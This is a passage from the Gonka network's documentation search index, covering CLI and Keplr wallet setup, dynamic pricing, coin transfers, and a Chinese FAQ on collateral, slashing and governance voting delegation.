chmod +x inferenced\nTry running ./inferenced --help to ensure it's working.
If you see a security warning when trying to run inferenced, go to System Settings → Privacy & Security.
Scroll down to the warning about inferenced and click \"Allow Anyway\".
You can create an account with the following command:
./inferenced keys add \"$ACCOUNT_NAME\"\nMake sure to securely save your passphrase — you'll need it for future access.
This command will:
~/.inference- address: <your-account-address>\n name: ACCOUNT_NAME\n pubkey: '{\"@type\":\"...\",\"key\":\"...\"}'\n type: local\nYou will use this account address to receive payments. This is your public address, and it is safe to share.
To access your Gonka private key, export your private key and store it securely. The command below outputs a plain-text private key. A private key is a secret code that gives full access to your wallet and the funds inside it. It is used to confirm (sign) transactions and prove that you are the owner of the wallet.
So the private key must always be stored securely and never shared with anyone.
./inferenced keys export $ACCOUNT_NAME --unarmored-hex --unsafe\nTo retrieve a list of all locally stored accounts, execute the following command:
inferenced keys list [--keyring-backend test]\nNow you can add your Gonka account to Keplr by importing the exported private key. Do not import the mnemonic phrase if you need Keplr to show the same Gonka address created by the inferenced CLI. Depending on the derivation path used by the wallet, importing the mnemonic phrase may produce a different Gonka address.
Here is the guide on how to add the Gonka network to your wallet and how your Gonka account will be created. Open Keplr browser extension. Navigate to the menu on the top left corner”.
Click “Add/Remove chains”.
Type “Gonka” in search bar and select “Gonka” chain.
Open Keplr and click the “Copy Address” button located above your balance.
Click the Copy button next to the Gonka chain.
You copied your Gonka account address. You can share it with anyone who will send you payments. Sharing it is safe. To access your wallet on a mobile device, download the Keplr app and log in using the same method you used during registration. Your Gonka Network account will automatically appear in the mobile wallet app.
"}, {"location": "gonka/docs/wallet/create-account/#add-gonka-network-to-your-cosmostation-wallet", "title": "Add Gonka network to your Cosmostation wallet", "text": "In the top-right corner, click \"All Networks\" and select the Gonka chain to add it to your wallet.
Your Gonka account is now active. To copy your address, click the address above your balance. It usually starts with gonka....
You copied your Gonka account address. You can share it with anyone who will send you payments. Sharing it is safe.
"}, {"location": "gonka/docs/wallet/create-account/#view-your-gonka-private-key", "title": "View your Gonka private key", "text": "Click on the Wallet name at the top. Click \"Manage\" on the top-right corner, then click the Wallet name.
Click \"View private key\".
Verify your password.
Choose \"Gonka\" from the list.
Click on \"Gonka\" to see the private key. Copy your private key or recovery phrase and store it securely (a hard copy is preferred).
"}, {"location": "gonka/docs/wallet/dashboard/", "title": "Dashboard", "text": ""}, {"location": "gonka/docs/wallet/dashboard/#getting-started-with-the-dashboard", "title": "Getting Started with the Dashboard", "text": "Dashboard shows live on-chain activity.
Instead of relying on a single centralized server, all network data and inference metrics are hosted directly on the Hosts' nodes. This means the dashboard can connect to any Host’s node and fetch live network data straight from the source.
You can interact with the dashboard in two ways:
If you want to explore the network or see real-time inference metrics before setting up your own account, follow these steps:
Here is the list of genesis nodes. Choose a random node from the list below and open it in a new browser window/tab.
Open the Hosts list: http://node2.gonka.ai:8443/v1/epochs/current/participants. Choose any active Host from the list. Copy their inference_url value. Paste the inference_url into your browser to load the dashboard.
Once opened, you’ll see real-time data streamed directly from the Host’s node.
Why is this important?
This architecture ensures decentralization: no single central server controls the network. In preview mode, functionality is limited. You can view balances, transactions, and some analytics. If you want to send coins, manage your personal accounts, etc, unlock Full mode.
First, open the dashboard using Preview Mode. Once you’ve accessed it, continue with the instructions below to enable all features.
"}, {"location": "gonka/docs/wallet/dashboard/#1-access-gonka-account", "title": "1. Access Gonka Account", "text": "To unlock the full functionality of the dashboard, you need a Gonka account.
To interact with Dashboard through your wallet, it is recommended to use Keplr (a browser extension wallet built for Cosmos-based chains).
What is a wallet?A crypto wallet serves as a secure container for a user's public and private cryptographic keys, enabling them to manage, transfer, and purchase cryptocurrencies. Gonka is built on the Cosmos-SDK blockchain framework and can be accessed using Keplr wallet.
Install an extension for your browser.
Go to the official Keplr website and click \"Get Keplr wallet\".
Choose an extension for your browser.
Add the selected extension to your browser.
FirefoxGoogle ChromeAfter installing the extension, you should see it in the top-right panel of your browser.
At this point, the extension is installed, but not yet connected to your wallet. Next, open the extension and log in to your wallet. Once you are logged in, follow the steps below to continue with the setup process.
Click \"Import an Existing Wallet\".
Click \"Use recovery phrase or private key\"
Paste your private key.
Important note on wallet-bridge compatibilityThe bridge currently expects a specific account setup. Some wallets may let you create a Gonka account and even export a private key, but that does not always mean the account will work correctly with the bridge. For bridge use, please create your Gonka account in one of the following ways:
inferenced CLI toolThese are the recommended and supported options for users who need Ethereum bridge compatibility. See Create a Gonka account for details.
Set Up Your Wallet. Store your password in a safe and secure place.
Type “Gonka” into the search bar and select Gonka chain to add it to your wallet.
Done — your Gonka account has been successfully imported into Keplr!
"}, {"location": "gonka/docs/wallet/dashboard/#3-connect-wallet", "title": "3. Connect wallet", "text": "3.1. Open Gonka dashboard following the preview mode instructions.
3.2. In the top-right corner, click \"Connect Wallet\" to get started.
3.3. Select Keplr and hit Connect.
3.4. Approve requested connection to Gonka network.
3.5. Done! You successfully added your account to the wallet.
Optional: How to add an additional Gonka account in Keplr wallet — click to view stepsOpen the extension and click on the account icon in the top-right corner of the extension window.
Click the \"Add wallet\" button.
Click \"Import an Existing Wallet\".
Click \"Use recovery phrase or private key\"
Paste your private key.
Important note on wallet-bridge compatibilityThe bridge currently expects a specific account setup. Some wallets may let you create a Gonka account and even export a private key, but that does not always mean the account will work correctly with the bridge. For bridge use, please create your Gonka account in one of the following ways:
inferenced CLI toolThese are the recommended and supported options for users who need Ethereum bridge compatibility. See Create a Gonka account for details.
Give your wallet a name for easy reference.
Make sure Gonka chain is selected.
Done — your Gonka account has been successfully imported into Keplr!
"}, {"location": "gonka/docs/wallet/pricing/", "title": "Pricing", "text": ""}, {"location": "gonka/docs/wallet/pricing/#pricing", "title": "Pricing", "text": "The network uses an automatic dynamic pricing mechanism for inference costs. Each model has a real-time AI token price that is recalculated every block based on actual demand and utilization metrics.
This is the network price, not the price you pay a broker
The mechanism described here sets the protocol-level, on-chain price per inference unit. If you access Gonka through a community broker, the broker is an independent reseller that sets its own retail prices, payment methods, and rate limits on top of this, and may cover its own costs as well. The price you actually pay therefore differs from broker to broker, so check each broker's terms and find what works for you.
"}, {"location": "gonka/docs/wallet/pricing/#pricing-mechanism", "title": "Pricing Mechanism", "text": "The core of the dynamic pricing system is a stability zone model that automatically adjusts prices to maintain optimal network utilization while providing price stability within acceptable utilization ranges. The system implements a block-based adjustment mechanism with defined stability zones and maximum change limits.
"}, {"location": "gonka/docs/wallet/pricing/#stability-zone-model", "title": "Stability Zone Model", "text": "The system defines a stability zone for network utilization between 40% and 60%, within which prices remain unchanged. Outside this zone, prices adjust to encourage utilization to return to the optimal range. The calculation process:
The price calculation follows this formula, similar to Ethereum's EIP-1559, but calculated separately for each model:
// Calculate per-model utilization and pricing\nfor each_model in active_epoch_models:\n model_capacity = get_cached_capacity(model_id) // from capacity/{model_id} KV store\n model_utilization = model_tokens_processed_in_recent_blocks[model_id] / model_capacity\n\n if model_utilization >= 0.40 and model_utilization <= 0.60:\n // Stability zone - no price change\n new_model_price[model_id] = previous_model_price[model_id]\n else if model_utilization < 0.40:\n // Below stability zone - decrease price\n utilization_deficit = 0.40 - model_utilization\n adjustment_factor = 1.0 - (utilization_deficit * price_elasticity)\n new_model_price[model_id] = previous_model_price[model_id] * adjustment_factor\n else:\n // Above stability zone - increase price\n utilization_excess = model_utilization - 0.60\n adjustment_factor = 1.0 + (utilization_excess * price_elasticity)\n new_model_price[model_id] = previous_model_price[model_id] * adjustment_factor\n\n // Ensure price never goes below 1 nicoin per token\n new_model_price[model_id] = max(new_model_price[model_id], min_per_token_price)\nWith the default elasticity of 0.05, this means for each model independently:
The minimum price of 1 nicoin serves as a technical and economic safeguard:
The current network pricing configuration can be queried from any active node.
curl http://node2.gonka.ai:8000/v1/governance/pricing | jq\n % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n100 175 100 175 0 0 315 0 --:--:-- --:--:-- --:--:-- 314\n{\n \"unit_of_compute_price\": 100,\n \"models\": [\n {\n \"id\": \"MiniMaxAI/MiniMax-M2.7\",\n \"units_of_compute_per_token\": 10000,\n \"price_per_token\": 1\n }\n ],\n \"dynamic_pricing_enabled\": true\n}\nOn-chain, the only valid denomination is ngonka. All balances, fees, and transactions must use ngonka exclusively. The Cosmos SDK may allow defining additional denominations, but these are non-operative — the SDK does not perform automatic conversions between them. gonka is used purely as an off-chain, human-friendly display unit. It represents 1 billion ngonka, and does not exist on the chain itself.
Effective Units
Unit Purpose On-chain? Rationgonka Base unit used on the network Yes 1 gonka Human-readable display unit No 1 gonka = 1,000,000,000 ngonka"}, {"location": "gonka/docs/wallet/pricing/#benefits-and-economic-impacts", "title": "Benefits and Economic Impacts", "text": "The dynamic pricing system provides several economic and operational benefits:
This guide explains how to work with wallets and coins on the network: how to get your wallet address, check your balance, send coins, and track transactions. Before you can perform any wallet operations, you need to access your account. Follow the instructions below based on your role in the network.
Are you a Host?
You contribute computational resources and receive coins as rewards. Before proceeding, you need access to your wallet, which is automatically created when the chain-node container runs for the first time.
Are you a Developer?
If you only need inference (sending prompts and receiving completions), you do not need a Gonka account — go to Developer Quickstart to get started with a community broker.
If you are running your own gateway or need to hold and transfer GNK on-chain, create a Gonka account first, then return here.
Once you have access to your account, return to this guide to learn how to:
On-chain, the only valid denomination is ngonka. All balances, fees, and transactions must use ngonka exclusively. The Cosmos SDK may allow defining additional denominations, but these are non-operative — the SDK does not perform automatic conversions between them. gonka is used purely as an off-chain, human-friendly display unit. It represents 1 billion ngonka, and does not exist on the chain itself.
Effective Units
Unit Purpose On-chain? Rationgonka Base unit used on the network Yes 1 gonka Human-readable display unit No 1 gonka = 1,000,000,000 ngonka"}, {"location": "gonka/docs/wallet/wallet-and-transfer-guide/#get-your-wallet-address", "title": "Get Your Wallet Address", "text": "Before you can check balances or send funds, you need to know your wallet address.
inferenced keys list [--keyring-backend test]\nThis command lists all the wallet keys (accounts) you’ve created locally, along with their addresses and public keys. Example output:
- address: gonka1f85frkfw89cgpva0vgpyuldjgu6uhyd82hmjzr\n name: genesis\n pubkey: '{\"@type\":\"/cosmos.crypto.secp256k1.PubKey\",\"key\":\"A+Qpbyhtsdl5N/6O6S/qJ9uvtbI7OFFsO5dcNrpEU0nv\"}'\n type: local\nTo check your balance, ensure you have sufficient funds before transferring, or to verify a successful transfer, use the following command:
inferenced query bank balances <address> [--node <node_rpc_url>]\nThis shows how many coins are in your wallet.
Example:
inferenced query bank balances gonka1ddswmmmn38esxegjf6qw36mt4aqyw6etvysy5x --node http://node2.gonka.ai:8000/chain-rpc/\nIn Cosmos, a fund transfer means sending coins from one account (wallet address) to another within a Cosmos-based blockchain. These transfers are used to pay for services or simply send value between users.
CLIKeplr (web-extension)Keplr (mobile app)You can perform transfers using the Cosmos SDK command-line tool — specifically, the inferenced CLI. Each transfer is recorded on the blockchain and needs a valid sender, recipient, amount, and coin denomination.
Once you know your balance and have the recipient’s address, you can send coins.
inferenced tx bank send <sender-key-name> <recipient-address> <coins> --chain-id gonka-mainnet [--node <node_rpc_url> | --keyring-backend test]\nNote
<sender-key-name> is the local key name in your keyring—the same label you chose when creating the key. Use inferenced keys list to see names on this machine.
Example:
inferenced tx bank send genesis gonka1a3jpdl4epdts64gns3a3fy9hjv2n9e3v7kxx0e 100ngonka --chain-id gonka-mainnet\nTo make a transfer on the Gonka chain between Gonka accounts using the Keplr wallet, log in and open to your Keplr wallet.
Search for the Gonka chain on the home screen.
Click “Send”.
If you already know the receiver’s Gonka wallet addressIf you do not know the receiver’s Gonka wallet addressPaste the receiver’s Gonka wallet address into the address field. Specify the amount you intend to send.
The receiver should open their Keplr wallet where their Gonka account is added. They click on \"Copy address\" above their balance.
They search for the Gonka chain.
They copy and send you their address.
Paste the receiver’s Gonka wallet address into the address field. Specify the amount you intend to send.
Approve the transaction.
Wait for the Transaction successful notification. You will not see the transaction in the Activity tab because Gonka is a non native chain.
To make a transfer on the Gonka chain between Gonka accounts using the Keplr wallet, log in and open to your Keplr wallet.
Search for the Gonka chain on the home screen.
Click “Send”.
If you already know the receiver’s Gonka wallet addressIf you do not know the receiver’s Gonka wallet addressPaste the receiver’s Gonka wallet address into the address field. Specify the amount you intend to send.
The receiver should open their Keplr wallet where their Gonka account is added.
They search for the Gonka chain and click.
They copy their address above their balance or click \"Receive\" and copy their address in the next step below.
They copy and send you their address.
Paste the receiver’s Gonka wallet address into the address field. Specify the amount you intend to send.
Approve the transaction.
Wait for the screen confirming that the transaction was successful. You will not see the transaction in the Activity tab because Gonka is a non native chain.
"}, {"location": "gonka/docs/wallet/wallet-and-transfer-guide/#check-transaction-status", "title": "Check Transaction Status", "text": "After sending a transaction, you may want to verify whether it was successfully processed and included in a block. Each transaction is assigned a unique hash (TXHASH) which you can use to look up its status on the blockchain. To check the status of a transaction, use the following command:
inferenced query tx <TXHASH> --chain-id gonka-mainnet [--node <node_rpc_url>]\n<TXHASH> with the actual transaction hash you received from the transfer command.Example:
inferenced query tx 9712D97F127A1908C4DC4A1F4409AE380DC3BF0D662FA8D7E394422989CFFE2F --chain-id gonka-mainnet\ncode: 0 — indicates successheight — the block in which the transaction was includedtimestamp — the time the block was committedsender, receiver, amount, module, gas used)Sample response (truncated for clarity):
code: 0\ntxhash: 9712D97F127A1908C4DC4A1F4409AE380DC3BF0D662FA8D7E394422989CFFE2F\nheight: \"233596\"\ntimestamp: \"2025-04-24T02:21:24Z\"\ntx:\n ...\n body:\n messages:\n - '@type': /cosmos.bank.v1beta1.MsgSend\n from_address: gonka17ek5qgf94zsp024kppcyze37p95drr3wnt6jp3\n to_address: gonka1ydt57pmnsd508ckw4fh6ey6h299v50zljpylla\n amount:\n - amount: \"10\"\n denom: ngonka\nraw_log or info fields for error messages."}, {"location": "gonka/docs/zh/", "title": "首页", "text": ""}, {"location": "gonka/docs/zh/#gonka", "title": "Gonka", "text": "Gonka 是一个去中心化的 AI 基础设施，专为 AI 模型的训练与推理优化算力分配，提供相较于传统中心化云服务更具竞争力的替代方案。中心化系统往往成本高、垄断性强且存在审查风险，而现有很多去中心化网络则常常把算力浪费在与实际生产无关的工作（例如仅用于网络安全的计算）上。
我们引入了一种创新的一致性机制，使几乎 100% 的计算资源都用于有意义的 AI 任务，从而最大化效率并显著降低运营成本。
系统包含以下关键角色：
上述协作使平台能够以显著更低的价格提供 AI 服务，让先进的 AI 技术惠及更广泛的用户群体。
"}, {"location": "gonka/docs/zh/Errors/", "title": "错误", "text": ""}, {"location": "gonka/docs/zh/Errors/#_1", "title": "错误", "text": "在这里你可以找到常见错误的示例和节点日志中可能出现的典型日志条目。
2025/08/28 08:37:08 ERROR No epoch models available for this node subsystem=Nodes node_id=node1\n2025/08/28 08:37:08 INFO Finalizing state transition for node subsystem=Nodes node_id=node1 from_status=FAILED to_status=FAILED from_poc_status=\"\" to_poc_status=\"\" succeeded=false blockHeight=92476\nGonka是一个用于高效AI计算的去中心化网络——由运行它的人所运营。它作为集中式云服务在AI模型训练和推理方面的低成本高效替代方案。作为一个协议，它既不是公司也不是初创企业。
Gonka是一个去中心化AI基础设施，旨在减少对集中式云提供商的依赖，并比传统去中心化网络更高效地利用计算能力。其目标是尽可能将计算资源导向有用的AI任务，如推理和训练，同时最小化因共识开销造成的浪费。
"}, {"location": "gonka/docs/zh/FAQ/#gonka_2", "title": "Gonka生态系统中的关键参与者有哪些？", "text": "Gonka生态系统有四个关键参与者群体：
GNK是Gonka网络的原生代币，用于激励参与者、定价资源并确保网络的可持续增长。
"}, {"location": "gonka/docs/zh/FAQ/#gnk_1", "title": "我可以购买GNK代币吗？", "text": "原生GNK尚未在任何中心化交易所（CEX）上市，因此您无法在CEX上购买。请关注Twitter上的官方公告以获取任何上市更新。
不过，目前有两种合法方式获取GNK：
Info
您可以在以下平台查看WGNK（封装的GNK）的价格、市值和交易量：
Warning
GNK在以太坊上的唯一官方表示是WGNK，地址为0x972a7a92d92796a98801a8818bcf91f1648f2f68——此地址既是桥接合约，也是WGNK ERC-20代币。请始终确认任何列表或交易都指向此确切地址。
其他追踪器和网络上仍存在伪造的GNK列表和页面：任何声称在Solana上或除上述WGNK地址外的其他合约上的GNK，均不是官方GNK资产。请始终通过官方渠道验证信息。
"}, {"location": "gonka/docs/zh/FAQ/#_2", "title": "协议为何高效？", "text": "Gonka与“大玩家”的区别在于其定价机制，以及无论主机规模大小，推理任务均被平等分发。欲了解更多，请查阅白皮书。
"}, {"location": "gonka/docs/zh/FAQ/#_3", "title": "网络如何运作？", "text": "网络的运作是协作式的，取决于您希望扮演的角色：
不是。本文档涵盖了协议的主要概念、标准工作流程和最常见的操作场景，但并未涵盖代码库的全部行为或实现细节。代码中包含额外的逻辑、交互和边缘情况，此处未作描述。
由于Gonka是一个开源和去中心化的网络，各种参数、机制和治理驱动的行为可能通过链上投票和社区决策不断演变。某些细节可能在发布后发生变化，且并非所有边缘情况或未来更新都会立即反映在文档中。
对于主机、开发者和贡献者而言，最终的真理来源是代码本身。若本文件与代码之间存在任何不一致，以代码为准。
鼓励参与者查阅相关仓库、治理提案和网络更新，以确保其理解与协议的当前状态保持一致。
"}, {"location": "gonka/docs/zh/FAQ/#_5", "title": "贡献计算资源的激励是什么？", "text": "我们创建了一份专门的文档，聚焦于 Tokenomics，其中包含了有关激励如何衡量的所有信息。
"}, {"location": "gonka/docs/zh/FAQ/#_6", "title": "硬件要求是什么？", "text": "您可以在文档中清楚地找到最低和推荐的硬件规格。您应查阅此部分，以确保您的硬件满足有效贡献的要求。
"}, {"location": "gonka/docs/zh/FAQ/#gnk_2", "title": "我可以使用哪些钱包存储GNK代币？", "text": "您可以在Cosmos生态系统中的多个支持的钱包中存储GNK代币：
inferenced CLI — 用于Gonka本地账户管理和网络操作的命令行工具。现有Leap Wallet用户请注意
如果您之前使用Leap Wallet创建了Gonka账户，请注意Leap将在2026年5月28日关闭其所有产品，包括浏览器扩展、移动应用和仪表板。
由于Leap是非托管钱包，您的资产和账户仍保留在链上。但为了继续访问您的钱包，您应在Leap服务下线前，将现有的恢复短语导入到其他支持的钱包（如Keplr）中。
"}, {"location": "gonka/docs/zh/FAQ/#gonka_3", "title": "在哪里可以找到有关Gonka的有用信息？", "text": "以下是了解Gonka生态系统的最重要资源：
Gonka采用PoC加权投票模型：
在前180个周期（约6个月）内，新参与者可以仅通过PoC参与治理并获得投票权重，无需抵押要求。在此期间，完整的治理权利可用，而投票权重仍与经验证的计算活动挂钩。
"}, {"location": "gonka/docs/zh/FAQ/#gonkagnk", "title": "为什么Gonka要求锁定GNK代币以获得治理权？", "text": "投票权绝非仅来自持有代币。GNK代币作为经济抵押，而非影响力来源。影响力通过持续的计算贡献获得，而锁定GNK抵押是参与治理并确保问责制所必需的。
"}, {"location": "gonka/docs/zh/FAQ/#_7", "title": "抵押", "text": ""}, {"location": "gonka/docs/zh/FAQ/#_8", "title": "什么是抵押？", "text": "抵押用于在宽限期（前180个周期）后激活PoC权重中可抵押的部分。 宽限期后：
抵押确保拥有治理权重的参与者也承担经济责任。参数由链上定义，可能通过治理变更。在做出经济决策前，请始终核实当前数值。
"}, {"location": "gonka/docs/zh/FAQ/#_9", "title": "抵押是按节点还是按账户计算？", "text": "抵押按账户存入。如果多个ML节点链接到同一账户，所需抵押将根据该账户下所有节点的总权重计算。
"}, {"location": "gonka/docs/zh/FAQ/#_10", "title": "我需要存入抵押吗？", "text": "是的，如果您希望激活超过基础权重的权重。如果没有存入抵押品，只有基础权重保持激活状态。
"}, {"location": "gonka/docs/zh/FAQ/#_11", "title": "需要多少抵押品？", "text": "公式：
Required Collateral =\nTotal Weight × (1 - base_weight_ratio) × collateral_per_weight_unit\nRecommended (with conservative buffer):\nTotal Weight × 2 × (1 - base_weight_ratio) × collateral_per_weight_unit\n可以。您的总激活权重包括：
如果您存入的金额少于全额所需：
激活权重的计算方式为：
Active Weight =\nBase Weight +\n(Deposited Collateral / Required Collateral) × Collateral-Eligible Weight\n您的激活权重按比例减少。由于奖励按激活权重比例分配，当您抵押不足时，其他主机将获得更大比例的发行量。非激活权重不会直接重新分配，它只是不参与共识。
"}, {"location": "gonka/docs/zh/FAQ/#_14", "title": "抵押品何时生效？", "text": "抵押品必须在纪元开始前存入才能生效。在纪元期间存入的抵押品：
在纪元中间无法增加抵押品。
"}, {"location": "gonka/docs/zh/FAQ/#_15", "title": "我应该用什么单位存入抵押品？", "text": "交易必须使用ngonka，而不是GNK。
1 GNK = 1,000,000,000 ngonka\n10 GNK = 10,000,000,000 ngonka\n可以。抵押品可能因以下原因被罚没：
无效推理的罚没每个纪元上限为一次。 宕机罚没可针对每次关押事件执行。
"}, {"location": "gonka/docs/zh/FAQ/#_17", "title": "被罚没的代币会怎样？", "text": "目前，被罚没的GNK将永久销毁并从流通中移除。未来治理可能更改此机制。
"}, {"location": "gonka/docs/zh/FAQ/#_18", "title": "我可以提取抵押品吗？", "text": "可以。提取将触发解绑期（默认：1个纪元）。在解绑期间，抵押品仍可能被罚没。解绑结束后，资金将自动返还至您的账户余额。
"}, {"location": "gonka/docs/zh/FAQ/#_19", "title": "抵押品不是什么", "text": "每个纪元将铸造固定数量的GNK，并按活跃PoC权重比例分配。 活跃权重决定：
如果由于抵押品不足导致您的活跃权重降低，您获得的纪元奖励份额将按比例减少。非活跃权重不获得奖励。
"}, {"location": "gonka/docs/zh/FAQ/#_21", "title": "我需要手动存入抵押品吗？", "text": "是的。必须通过提交链上交易来存入抵押品。它不会自动激活。如果没有存入抵押品：
您的奖励和治理影响力将按比例减少。
"}, {"location": "gonka/docs/zh/FAQ/#gnk_3", "title": "已归属（锁定）的GNK可以用作抵押品吗？", "text": "不可以。抵押品必须从您的可用（未锁定）GNK余额中存入。尚未释放的归属代币不能用作抵押品。
"}, {"location": "gonka/docs/zh/FAQ/#_22", "title": "治理", "text": ""}, {"location": "gonka/docs/zh/FAQ/#_23", "title": "哪些类型的变更需要治理提案？", "text": "任何影响网络的链上变更都需要治理提案，例如：
MsgUpdateParams）任何拥有有效治理密钥（冷钱包账户）的人都可以支付所需费用并创建治理提案。但每个提案仍需通过PoC加权投票由活跃参与者批准。建议提案人在链下先讨论重大变更（例如，通过GitHub或社区论坛），以提高通过可能性。详见完整指南。
"}, {"location": "gonka/docs/zh/FAQ/#_25", "title": "如果提案失败会怎样？", "text": "no → 提案被拒绝，无链上变更no_with_veto（超过否决阈值）→ 提案被拒绝并标记，表明社区存在强烈分歧可以。所有关键治理规则——最低投票率、多数阈值和否决阈值——都是链上可配置的，并可通过治理提案进行更新。这使得网络能够根据参与模式和经济变化调整决策规则。
"}, {"location": "gonka/docs/zh/FAQ/#_27", "title": "如果我无法投票，因为我无法访问冷密钥，或者我想让另一个密钥代表我投票，我该怎么办？", "text": "如果持有投票权的密钥不是你日常操作使用的密钥，可以提前授予投票权限。
在这种设置中：
有两种常见情况：
1. 你想投票，但无法访问持有投票权的密钥。
请联系该密钥的所有者，请求他们授予你的密钥代表其投票的权限。如果没有此授权，你的密钥无法为该投票权提交治理投票。
2. 你想让另一个密钥代表你投票。
请使用以下 grant 命令，从持有投票权的密钥运行。这将授权被授予人密钥代表你提交治理投票。 此委托仅允许对治理提案进行投票。被授予人仍可为自己密钥投票。授予人可随时撤销此权限。
1) 授予投票权限（从授予人密钥运行）
CommandExample response./inferenced tx authz grant <GRANTEE_GONKA_ADDRESS> generic \\\n --msg-type=/cosmos.gov.v1beta1.MsgVote \\\n --from=<GRANTER_KEY_NAME> \\\n --chain-id=gonka-mainnet \\\n --expiration=<UNIX_TIMESTAMP> \\\n --home .inference \\\n --keyring-backend file\n{\n \"height\": \"0\",\n \"txhash\": \"8D96FB6FC06FFB928FBC89FE950689CD040C7F338C197BA856175EC7462A3FFA\",\n \"codespace\": \"\",\n \"code\": 0,\n \"data\": \"\",\n \"raw_log\": \"\",\n \"logs\": [],\n \"info\": \"\",\n \"gas_wanted\": \"0\",\n \"gas_used\": \"0\",\n \"tx\": null,\n \"timestamp\": \"\",\n \"events\": []\n}\n2) 验证授权是否存在（从任意节点运行）
CommandExample response./inferenced query authz grants <GRANTER_GONKA_ADDRESS> <GRANTEE_GONKA_ADDRESS> \\\n --node=\"http://<MAINNET_NODE_URL>:26657\" \\\n --output=json | jq .\n{\n \"grants\": [\n {\n \"authorization\": {\n \"type\": \"cosmos-sdk/GenericAuthorization\",\n \"value\": {\n \"msg\": \"/cosmos.gov.v1beta1.MsgVote\"\n }\n },\n \"expiration\": \"2026-12-03T18:38:18Z\"\n }\n ],\n \"pagination\": {\n \"total\": \"1\"\n }\n}\n3) 使用被授予人投票
CommandExample response# Find the proposal ID which you are voting for - use it as <VOTE_PROPOSAL_ID> in the voting body \n./inferenced query gov proposals --output json\n\n# Prepare the file with the voting body\ncat > /tmp/authz-vote.json << 'EOF'\n{\n \"body\": {\n \"messages\": [\n {\n \"@type\": \"/cosmos.authz.v1beta1.MsgExec\",\n \"grantee\": \"<GRANTEE_GONKA_ADDRESS>\",\n \"msgs\": [\n {\n \"@type\": \"/cosmos.gov.v1beta1.MsgVote\",\n \"proposal_id\": \"<VOTE_PROPOSAL_ID>\",\n \"voter\": \"<GRANTER_GONKA_ADDRESS>\",\n \"option\": \"VOTE_OPTION_YES\"\n }\n ]\n }\n ]\n }\n}\nEOF\n\n\n# Vote using the file \n./inferenced tx authz exec /tmp/authz-vote.json \\ --from=<GRANTEE_KEY_NAME> \\ \n--chain-id=gonka-mainnet \\\n--home .inference \\\n--keyring-backend file \\\n--node=\"http://<MAINNET_NODE_URL>:26657\" -y\n{\n \"pagination\": {\n \"total\": \"1\"\n },\n \"proposals\": [\n {\n \"deposit_end_time\": \"2026-03-06T10:40:07.016920026Z\",\n \"final_tally_result\": {\n \"abstain_count\": \"0\",\n \"no_count\": \"0\",\n \"no_with_veto_count\": \"0\",\n \"yes_count\": \"0\"\n },\n \"id\": \"1\",\n \"messages\": [\n {\n \"type\": \"cosmos-sdk/MsgSoftwareUpgrade\",\n \"value\": {\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"plan\": {\n \"height\": \"406062\",\n \"info\": \"{\\n \\\"binaries\\\":{\\n \\\"linux/amd64\\\":\\\"https://github.com/product-science/race-releases/releases/download/release%2Fv0.2.10-testnet1/inferenced-amd64.zip?checksum=sha256:fb71310427436aebac32813735231882fca420cf0d94b036f8cacd055d0e1c78\\\"\\n },\\n \\\"api_binaries\\\":{\\n \\\"linux/amd64\\\":\\\"https://github.com/product-science/race-releases/releases/download/release%2Fv0.2.10-testnet1/decentralized-api-amd64.zip?checksum=sha256:6fe214f4bb2d831c02ce407682820d95d01e6ae94a33fe9c4617b80e0ca716ce\\\"\\n }\\n }\",\n \"name\": \"v0.2.10\",\n \"time\": \"0001-01-01T00:00:00Z\"\n }\n }\n }\n ],\n \"proposer\": \"gonka1xfvr8mywcrxrcrryvj8c5d2grvyjdj5c90fd88\",\n \"status\": 2,\n \"submit_time\": \"2026-03-04T10:40:07.016920026Z\",\n \"summary\": \"Upgrade Proposal v0.2.10\",\n \"title\": \"Upgrade Proposal v0.2.10\",\n \"total_deposit\": [\n {\n \"amount\": \"50000000\",\n \"denom\": \"ngonka\"\n }\n ],\n \"voting_end_time\": \"2026-03-04T10:50:07.016920026Z\",\n \"voting_start_time\": \"2026-03-04T10:40:07.016920026Z\"\n }\n ]\n}\n投票选项：
VOTE_OPTION_YESVOTE_OPTION_ABSTAINVOTE_OPTION_NOVOTE_OPTION_NO_WITH_VETO4) 撤销委托（从授予人密钥运行）
CommandExample response./inferenced tx authz revoke <GRANTEE_GONKA_ADDRESS> /cosmos.gov.v1beta1.MsgVote \\\n --from=<GRANTER_KEY_NAME> \\\n --chain-id=gonka-mainnet \\\n --home .inference \\\n --keyring-backend file\n{\n code: 0\n codespace: \"\"\n data: \"\"\n events: []\n gas_used: \"0\"\n gas_wanted: \"0\"\n height: \"0\"\n info: \"\"\n logs: []\n raw_log: \"\"\n timestamp: \"\"\n tx: null\n txhash: A2C3CDA9E95DCF143C0D8981A4F573F1E68879ECF4903B25BA97383C3F2FDFBA\n}\n治理提案 → 链上提案。用于直接影响网络并需要链上投票的变更。示例：
MsgUpdateParams）改进提案 → 由活跃参与者控制的链下提案。用于塑造长期路线图、讨论新想法和协调重大战略变更。
社区提案审查的目标是获得社区验证：反应、评论和具体反馈，以增强最终获得治理批准的理由。如果提案的实施需要大量工作、长期承诺、协调或对协议的重大变更，这一点尤其重要。
/proposals 目录中。可以。通常，改进提案用于探索想法并达成共识，然后再起草治理提案。例如：
投票选项：yes、no、no_with_veto、abstain
yes → 批准提案no → 拒绝提案no_with_veto → 拒绝并表达强烈反对abstain → 不批准也不拒绝，但计入法定人数您可以在投票期内随时更改投票；仅最后一次投票有效
您可使用以下命令投票。本例为投赞成票，但您可替换为首选选项（yes、no、no_with_veto、abstain）：
./inferenced tx gov vote 2 yes \\\n --from <cold_key_name> \\\n --keyring-backend file \\\n --unordered \\\n --timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n --node $NODE_URL/chain-rpc/ \\\n --chain-id gonka-mainnet \\\n --yes\n您可随时使用 CLI 查询提案状态：
export NODE_URL=http://47.236.19.22:18000\n./inferenced query gov tally 2 -o json --node $NODE_URL/chain-rpc/\n未来恢复网络节点时，只需备份：
.tmkms/secrets/.inference .inference/keyring-file/ 的 keyring.inference/config .inference/config/node_key.json 的节点密钥KEYRING_PASSWORD您的验证节点被惩罚，是因为在最近100个区块中签名少于50个（统计的是该窗口内签名的总区块数，而非连续区块）。这意味着您的节点被暂时排除（约15分钟）在区块生产之外，以保障网络稳定性。 可能的原因有：
奖励：即使您的节点被惩罚，只要它仍在进行推理或其他验证相关工作，您作为主机仍将继续获得大部分奖励。因此，除非检测到推理问题，否则奖励不会丢失。
